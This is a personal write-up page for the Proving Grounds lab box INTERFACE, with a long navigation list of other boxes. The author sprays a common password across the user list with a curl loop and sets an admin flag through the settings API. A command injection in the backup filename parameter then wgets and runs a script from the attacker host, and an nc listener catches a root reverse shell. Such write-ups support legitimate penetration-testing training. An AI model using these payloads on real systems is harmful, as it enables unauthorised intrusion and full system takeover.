💣
Proving Grounds Writeups
  • kashz PG Writeups
  • PG boxes
    • ALGERNON
      • 4 :9998 IIS 10
      • 3 :80 IIS 10
      • 2 :21 ftp
      • 1 recon
    • APEX
      • 9 privesc
      • 8 box enum www-data
      • 7 :80 openemr exploit
      • 6 :3306 mysql
      • 5 :80 /filemanager 9.13.4
      • 4 :80 openemr
      • 3 :80 apex hospital
      • 2 :445 smb
      • 1 recon
    • AUTHBY
      • 6 privesc
      • 5 box enum apache
      • 4 :21 ftp admin
      • 3 :242 apache
      • 2 :21 ftp
      • 1 recon
    • BANZAI
      • 9 post enum
      • 8 mysql > privesc > root
      • 7 apache enum
      • 6 box enum www-data
      • 5 :8295 banzai
      • 4 :25 smtp
      • 3 :5432
      • 2 :21 ftp
      • 1 recon
    • BILLYBOSS
      • 7 privesc_2
      • 6 privesc_1
      • 5 box enum
      • 4 :8081
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • BOTTLENECK
      • 7 privesc > root
      • 6 www-data > bytevsbyte
      • 5 box enum PEAS
      • 4 box enum
      • 3 :80 exploit
      • 2 :80 bottleneck
      • 1 recon
    • BRATARINA
      • 4 :25 opensmtpd 6.6.2
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • CLAMAV
      • 4 :25 sendmail
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • CLYDE
      • 7 post enum
      • 6 box enum rabbitmq > privesc > root
      • 5 :4369 epmd
      • 4 :15672 rabbitmq
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • DAWN
      • 5 privesc
      • 4 box enum dawn
      • 3 cron exploit using smb
      • 2 :80
      • 1 recon
    • DIBBLE
      • 9 post enum
      • 8 box enum benjamin > privesc > root
      • 7 :3000 nodejs exploit
      • 6 :27017 mongodb
      • 5 :3000 node.js
      • 4 :80 drupal explore
      • 3 :80 drupal enum
      • 2 :21 ftp
      • 1 recon
    • FAIL
      • 5 post enum
      • 4 privesc fail2ban
      • 3 box enum fox
      • 2 :873 rsync
      • 1 recon
    • FUNBOXEASY
      • 4 post enum
      • 3 :22 ssh tony > root
      • 2 :80
      • 1 recon
    • FUNBOXEASYENUM
      • 4 privesc
      • 3 box enum www-data > privesc > root
      • 2 :80
      • 1 recon
    • G00G
      • 5 post enum
      • 4 privesc > root
      • 3 box enum fox
      • 2 :80
      • 1 recon
    • GAARA
      • 4 post enum
      • 3 gaara > root
      • 2 :80
      • 1 recon
    • HAWAT
      • 8 post enum
      • 6 :50080 nextcloud enum
      • 5 :50080 davtest
      • 4 :50080 nextcloud
      • 3 :30455 w3.css
      • 2 :17445 issue tracker
      • 1 recon
    • HELPDESK
      • 2 :8080 ManageEngine ServiceDesk Plus 7.6.0
      • 1 recon
    • HETEMIT
      • 10 post enum
      • 9 privesc > root
      • 8 box enum cmeeks
      • 7 :50000_2
      • 6 :50000_1
      • 5 :18000
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • HUNIT
      • 6 post enum
      • 5 privesc git-user git-repo > root
      • 4 fail privesc dademola-user git-repo
      • 3 box enum dademola
      • 2 :8080
      • 1 recon
    • HUTCH
      • 10 privesc_3 ldapsearch
      • 9 privesc_2 SharpLAPS
      • 8 privesc_1 PrintSpoofer
      • 7 box enum iis apppool
      • 6 :80 webdav
      • 5 :139 :445 smb
      • 4 ldap_2
      • 3 ldap_1
      • 2 :80 IIS 10.0
      • 1 recon
    • INTERNAL
      • 3 ms17-010
      • 2 :139 :445 smb
      • 1 recon
    • INTERFACE
      • 3 post enum
      • 2 :80
      • 1 recon
    • JACKO
      • 8 post enum
      • 7 privesc_2 PrintSpoofer
      • 6 privesc_1 PaperStream IP (TWAIN)
      • 5 box enum tony
      • 4 H2 JNIScriptEngine exploit > tony
      • 3 :8082
      • 2 :80
      • 1 recon
    • KEVIN
      • 3 :80 HP Power Manager 4.2
      • 2 :139 :445 smb
      • 1 recon
    • LAMPIAO
      • 7 post enum
      • 6 privesc KE
      • 5 box enum www-data
      • 4 drupalgeddon2 > www-data
      • 3 :1898 drupal 7
      • 2 :80
      • 1 recon
    • LOLY
      • 6 post enum
      • 5 privesc KE
      • 4 box enum www-data
      • 3 :80 wpscan
      • 2 :80
      • 1 recon
    • MEATHEAD
      • 7 privesc_2 Plantronics Hub 3.13.2
      • 6 privesc_1 PrintSpoofer
      • 5 box enum nt service\mssql$sqlexpress
      • 4 :1435 ms-sql 2017
      • 3 :1221 ftp
      • 2 :80 IIS 10.0
      • 1 recon
    • MEDJED
      • 8 privesc
      • 7 box enum
      • 6 :45332 :45443 QuizApp
      • 5 :44330 Barracuda Web-File-Server
      • 4 :44330 BarracudaDrive 6.5
      • 3 :33033
      • 2 :30021 ftp
      • 1 recon
    • METALLUS
      • 2 :40443 Application Manager
      • 1 recon
    • MONITORING
      • 4 privesc
      • 3 :80 box enum > www-data
      • 2 :80 nagios xi
      • 1 recon
    • MUDDY
      • 8 post enum
      • 7 privesc cronjob
      • 6 box enum www-data
      • 5 :80 webdav
      • 4 :8888 ladon framework
      • 3 :80 wpscan
      • 2 :80 muddy.ugc
      • 1 recon
    • MY-CMSMS
      • 6 privesc armour > root
      • 5 box enum www-data
      • 4 :80 cms ms login
      • 3 :3306 mysql
      • 2 :80 cms made simple
      • 1 recon
    • NAPPA
      • 7 post enum
      • 6 privesc
      • 5 box enum kathleen
      • 4 :8080
      • 3 :28080
      • 2 :21 ftp
      • 1 recon
    • NIBBLES
      • 5 post enum
      • 4 box enum > privesc > root
      • 3 :5437 postgresql
      • 2 :80
      • 1 recon
    • NICKEL
      • 6 :21 ftp > root
      • 5 box enum
      • 4 ssh ariah
      • 3 :8089 :33333 curl
      • 2 :8089 DevOps dashboard
      • 1 recon
    • NUKEM
      • 6 post enum
      • 5 privesc dosbox
      • 4 box enum http > commander
      • 3 :80 wordpress + exploit
      • 2 :80
      • 1 recon
    • PAYDAY
      • 6 patrick > privesc > root
      • 5 box enum_2
      • 4 box enum www-data
      • 3 :80 cs-cart internetshop
      • 2 :139 :445 smb
      • 1 recon
    • PEBBLES
      • 3 zoneminder sqlmap
      • 2 http
      • 1 recon
    • PELICAN
      • 7 post enum
      • 6 privesc > root
      • 5 box enum charles
      • 4 :8080 :8081
      • 3 :631 cups 2.2
      • 2 :139 :445 smb
      • 1 recon
    • PEPPO
      • 9 post enum
      • 8 privesc docker socket > root
      • 7 box enum eleanor
      • 6 :22 ssh eleanor
      • 5 docker enum postgres
      • 4 :5432 postgres
      • 3 :8080
      • 2 :113 ident
      • 1 recon
    • PHOTOGRAPHER
      • 6 post enum
      • 5 box enum > privesc
      • 4 :8000 koken cms
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • POSTFISH
      • 10 post enum
      • 9 privesc > root
      • 8 exploit /etc/postfix/disclaimer
      • 7 box enum
      • 6 :22 ssh
      • 5 sending mail to phish
      • 4 :110 pop3
      • 3 :25 smtp
      • 2 :80
      • 1 recon
    • POTATO
      • 6 post enum
      • 5 :22 ssh, box enum
      • 4 :80 strcmp php
      • 3 :80
      • 2 :2112 ftp
      • 1 recon
    • QUARTERJACK
      • 8 post enum
      • 7 privesc > root
      • 6 box enum apache
      • 5 :8081 rconfig
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • SEPPUKU
      • 10 privesc
      • 9 ssh tanto > privesc > root
      • 8 box enum samurai
      • 7 box enum seppuku
      • 6 :7601
      • 5 :7080
      • 4 :8088
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • SHENZI
      • 7 post enum
      • 6 privesc .msi
      • 5 box enum
      • 4 :80 wordpress > shenzi
      • 3 :80 xampp
      • 2 :139 :445 smb
      • 1 recon
    • SIROL
      • 5 post enum
      • 4 docker breakout > root
      • 3 :5601 kibana 6.5.0
      • 2 :80 php calculator
      • 1 recon
    • SLORT
      • 6 privesc
      • 5 box enum
      • 4 :4443 xampp
      • 3 :8080 xampp
      • 2 :21 ftp
      • 1 recon
    • SNOOKUMS
      • 8 post enum
      • 7 privesc
      • 6 box enum michael
      • 5 box enum apache
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • SORCERER
      • 7 post enum
      • 6 privesc > root
      • 5 box enum max
      • 4 :7742
      • 3 :8080 tomcat 7
      • 2 :80
      • 1 recon
    • SOSIMPLE
      • 6 ssh max > steven > root
      • 5 box enum_2
      • 4 box enum_1 www-data
      • 3 :80 wordpress
      • 2 :80
      • 1 recon
    • SUNSETMIDNIGHT
      • 7 privesc
      • 6 box enum www-data
      • 5 :80 wordpress admin
      • 4 :80 simply poll plugin sqli
      • 3 :80 wordpress
      • 2 :80
      • 1 recon
      • 0 /etc/hosts
    • SYBARIS
      • 7 post enum
      • 6 privesc cron
      • 5 box enum pablo
      • 4 :6379 redis
      • 3 :80 sybaris
      • 2 :21 ftp
      • 1 recon
    • TRE
      • 5 :22 ssh > privesc > root
      • 4 box enum www-data
      • 3 :80 mantis bug tracker
      • 2 :80
      • 1 recon
    • TWIGGY
      • 5 post enum
      • 4 :4506 SaltStack 3000.1
      • 3 :8000
      • 2 :80 mezzanine
      • 1 recon
    • UC404
      • 5 post enum
      • 4 box enum brian > privesc > root
      • 3 box enum www-data
      • 2 :80 adminlte
      • 1 recon
    • UT99
      • 8 privesc_3 wlbsctrl.dll hijack
      • 7 fail privesc_2 InspIRCd
      • 6 privesc_1 FoxitCloudUpdateService
      • 5 box enum daisy
      • 4 :7778 unreal tournament
      • 3 :6667 irc via pidgin
      • 2: 80
      • 1 recon
    • WALLA
      • 7 post enum
      • 6 privesc
      • 5 box enum www-data
      • 4 :8901 lighttpd 1.4.53 > raspAP
      • 3 :25 smtp
      • 2 :23 telnet
      • 1 recon
    • WEBCAL
      • 6 privesc KE
      • 5 box enum www-data
      • 4 :53 dns
      • 3 :80 webcalendar 1.2.3
      • 2 :21 ftp
      • 1 recon
    • WOMBO
      • 6 post enum
      • 5 :6379 redis
      • 4 :27017 mongo
      • 3 :8080 nodebb
      • 2 :80
      • 1 recon
    • XPOSEDAPI
      • 3 box enum clumsyadmin > root
      • 2 :13337 remote software management api
      • 1 recon
    • Y0USEF
      • 5 post enum
      • 4 privesc
      • 3 box enum
      • 2 :80
      • 1 recon
    • ZENPHOTO
      • 9 post enum
      • 8 privesc_2 full-nelson
      • 7 privesc_1 rds
      • 6 privesc check
      • 5 box enum www-data
      • 4 :80 zenphoto 1.4.1.4
      • 3 :80
      • 2 :23 cups 1.4
      • 1 recon
    • ZINO
      • 6 post enum
      • 5 privesc > root
      • 4 box enum www-data
      • 3 :8003
      • 2 :139 :445 smb
      • 1 recon
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On this page
  1. PG boxes
  2. INTERFACE

2 :80

http://192.168.71.106/
Login Page | node.js express framework
| contains top Users

# tried admin:admin
| popup -> Authentication Error, Login Failed

$ gobuster dir -u http://192.168.71.106 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x js,html,txt -t 90
===============================================================
/main.js              (Status: 200) [Size: 47602]
/index.html           (Status: 200) [Size: 703]
/vendor.js            (Status: 200) [Size: 3515713]
/styles.js            (Status: 200) [Size: 171811]
/runtime.js           (Status: 200) [Size: 6299]

# clear cache, capture in Burp 
# requests to /api/users, /api/settings

$ curl http://192.168.71.106/api/users > users.json
# cleaning
| remove ','
| replace "" with new line
$ cat users.json| sed 's/,//g' | sed 's/""/\n/g' > users
# fix first and last line to remove '[' and ']'

# trying to brute force with users:'password'
$ while read line; do curl -s -X POST -H 'Content-Type: application/json' --data-binary "{\"username\":\"$line\",\"password\":\"password\"}" http://192.168.71.106/login | grep -v Unauthorized && echo $line; done < users
OK
dev-acct

# got creds dev-acct:password
# logging in 
# response
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Content-Length: 2
ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc"
Set-Cookie: connect.sid=s%3Ak2KqzG6W0nOILbKK7spk6lK-1gyqL50-.2nn2tYlXXHp%2FVzl1puzVIRPQy1rGs%2BQwCJcRcL4Mm5E; Path=/; HttpOnly
Date: Fri, 08 Oct 2021 20:24:31 GMT
Connection: close

OK

# burp made a new request
GET /api/settings HTTP/1.1
Host: 192.168.71.106
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.71.106/
Cookie: connect.sid=s%3Ak2KqzG6W0nOILbKK7spk6lK-1gyqL50-.2nn2tYlXXHp%2FVzl1puzVIRPQy1rGs%2BQwCJcRcL4Mm5E
# response
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 49
ETag: W/"31-EAIySo5UXJkhTs42wlD84mCNbPQ"
Date: Fri, 08 Oct 2021 20:24:32 GMT
Connection: close

{"color-theme":"light","lang":"en","admin":false}

# changing to Dark Theme from web sends the request
POST /api/settings HTTP/1.1
Host: 192.168.71.106
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 22
Origin: http://192.168.71.106
DNT: 1
Connection: close
Referer: http://192.168.71.106/
Cookie: connect.sid=s%3Ak2KqzG6W0nOILbKK7spk6lK-1gyqL50-.2nn2tYlXXHp%2FVzl1puzVIRPQy1rGs%2BQwCJcRcL4Mm5E

{"color-theme":"dark"

# maybe we can set admin:true
POST /api/settings HTTP/1.1
Host: 192.168.71.106
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 16
Origin: http://192.168.71.106
DNT: 1
Connection: close
Referer: http://192.168.71.106/
Cookie: connect.sid=s%3Ak2KqzG6W0nOILbKK7spk6lK-1gyqL50-.2nn2tYlXXHp%2FVzl1puzVIRPQy1rGs%2BQwCJcRcL4Mm5E

{"admin":"true"}
# response
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Content-Length: 2
ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc"
Date: Fri, 08 Oct 2021 20:26:55 GMT
Connection: close

OK

# refreshing the page shows as BackupLogs submit button
# creates a log file in /var/log/app/logfile-<USER-ENTERED>.gz

Can create backup files, but don't understnad how to download it
| looking at f12 > Debugger > Webpack > src > app > log-bakcup > blog-backup.componenet.ts

let result = await this.http.get(`/api/backup?filename=${f.value.filename}`,

# call is being made to /api/backup?filename=<>
# tried searching for where the file is uploaded, cant find it

# trying commnad injection

GET /api/backup?filename=; wget 192.168.49.71/kashz.sh -O /tmp/kashz; HTTP/1.1
GET /api/backup?filename=chmod +x /tmp/kashz; HTTP/1.1
GET /api/backup?filename=;bash /tmp/kashz; HTTP/1.1

$ nc -lvnp 6969                                                                                                  1 ⨯
listening on [any] 6969 ...
connect to [192.168.49.71] from (UNKNOWN) [192.168.71.106] 58418
bash: cannot set terminal process group (422): Inappropriate ioctl for device
bash: no job control in this shell

root@interface:/var/www/app/dist# whoami;id;hostname
whoami;id;hostname
root
uid=0(root) gid=0(root) groups=0(root)
interface

root@interface:/var/www# cat /etc/passwd | grep sh
cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
justin:x:1000:1000:justin,,,:/home/justin:/bin/bash
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